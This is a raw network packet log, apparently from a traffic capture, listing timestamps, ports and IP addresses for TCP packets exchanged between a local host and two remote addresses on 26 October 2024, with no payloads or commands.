Oct 26, 2024 07:27:11.592159033 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.592170954 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.592175007 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.592179060 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.592191935 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.592205048 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.592209101 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.592214108 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.592226028 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.592235088 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.592242002 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.592252970 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.592257023 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.592267990 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.592286110 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.592298031 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.592309952 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.592331886 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.592348099 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.592363119 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.592374086 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.592377901 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.592391014 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.592397928 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.592405081 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.592413902 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.592426062 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.592438936 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.592447042 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.592453957 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.592454910 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.592499018 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.635844946 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.635860920 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.635875940 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.635891914 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.635961056 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.635978937 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.644889116 CEST	49952	40500	192.168.2.6	90.156.162.125
Oct 26, 2024 07:27:11.646390915 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.646414995 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.646430969 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.646446943 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.646462917 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.646475077 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.646524906 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.646554947 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.646570921 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.646585941 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.646600962 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.646612883 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.646636963 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.646663904 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.650211096 CEST	40500	49952	90.156.162.125	192.168.2.6
Oct 26, 2024 07:27:11.673523903 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.673988104 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.674777985 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.674793959 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.674808979 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.674834013 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.674841881 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.674849987 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.674865961 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.674882889 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.674896955 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.674921989 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.674956083 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.674971104 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.674985886 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.675004005 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.675018072 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.675021887 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.675028086 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.675059080 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.675088882 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.675105095 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.675121069 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.675137043 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.675147057 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.675153017 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.675163031 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.675169945 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.675193071 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.675219059 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.675328970 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.675344944 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.675359011 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.675374985 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.675388098 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.675396919 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.675414085 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.675421953 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.675436974 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.675442934 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.675453901 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.675470114 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.675472975 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.675486088 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.675498009 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.675509930 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.675523996 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.675529957 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.675540924 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.675554037 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.675554037 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.675568104 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.675584078 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.675589085 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.675611973 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.675616026 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.675623894 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.675635099 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.675652027 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.675664902 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.675668955 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.675672054 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.675685883 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.675688028 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.675700903 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.675715923 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.675733089 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.675734043 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.675749063 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.675756931 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.675776005 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.675791025 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.675796986 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.675796986 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.675806046 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.675812960 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.675822973 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.675829887 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.675839901 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.675847054 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.675857067 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.675869942 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.675874949 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.675877094 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.675890923 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.675899982 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.675908089 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.675909996 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.675925016 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.675928116 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.675935030 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.675950050 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.675961018 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.675988913 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.675992012 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.676013947 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.676027060 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.676031113 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.676045895 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.676057100 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.676062107 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.676063061 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.676079988 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.676084042 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.676090956 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.676096916 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.676114082 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.676115036 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.676131010 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.676135063 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.676146030 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.676152945 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.676160097 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.676162958 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.676178932 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.676182985 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.676194906 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.676202059 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.676209927 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.676213026 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.676229000 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.676232100 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.676243067 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.676251888 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.676265955 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.676266909 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.676282883 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.676282883 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.676290035 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.676304102 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.676317930 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.676326990 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.676342010 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.676343918 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.676362038 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.676366091 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.676379919 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.676388025 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.676393986 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.676403046 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.676428080 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.676907063 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.676929951 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.676939011 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.676947117 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.676947117 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.676978111 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.676980019 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.676992893 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.676995993 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.677011967 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.677033901 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.677062035 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.677254915 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.677268028 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.677305937 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.677330017 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.677355051 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.677367926 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.677370071 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.677390099 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.677392960 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.677396059 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.677408934 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.677450895 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.677463055 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.677475929 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.677489042 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.677498102 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.677521944 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.677797079 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.677822113 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.677829027 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.677844048 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.677851915 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.677867889 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.677882910 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.677887917 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.677898884 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.677912951 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.677915096 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.677932978 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.677937984 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.677968025 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.677989006 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.678081036 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.678119898 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.678133965 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.678148031 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.678170919 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.678174973 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.678186893 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.678189039 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.678201914 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.678209066 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.678240061 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.678240061 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.678297997 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.678313017 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.678328037 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.678350925 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.678378105 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.678407907 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.678445101 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.678457975 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.678486109 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.678498983 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.678652048 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.678668022 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.678688049 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.678703070 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.678705931 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.678719044 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.678734064 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.678745031 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.678745031 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.678750038 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.678755045 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.678765059 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.678775072 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.678785086 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.678787947 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.678805113 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.678805113 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.678822041 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.678829908 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.678844929 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.678850889 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.678869009 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.678869963 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.678877115 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.678893089 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.678905964 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.678906918 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.678930044 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.678930998 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.678947926 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.678949118 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.678962946 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.678977966 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.678983927 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.678992033 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.679001093 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.679009914 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.679027081 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.679034948 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.679044008 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.679058075 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.679064989 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.679075003 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.679081917 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.679090977 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.679094076 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.679107904 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.679112911 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.679122925 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.679141998 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.679141998 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.679158926 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.679174900 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.679182053 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.679189920 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.679192066 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.679213047 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.679217100 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.679227114 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.679230928 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.679253101 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.679255009 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.679261923 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.679270983 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.679285049 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.679294109 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.679301023 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.679301977 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.679330111 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.679331064 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.679332972 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.679357052 CEST	80	49991	185.215.113.84	192.168.2.6
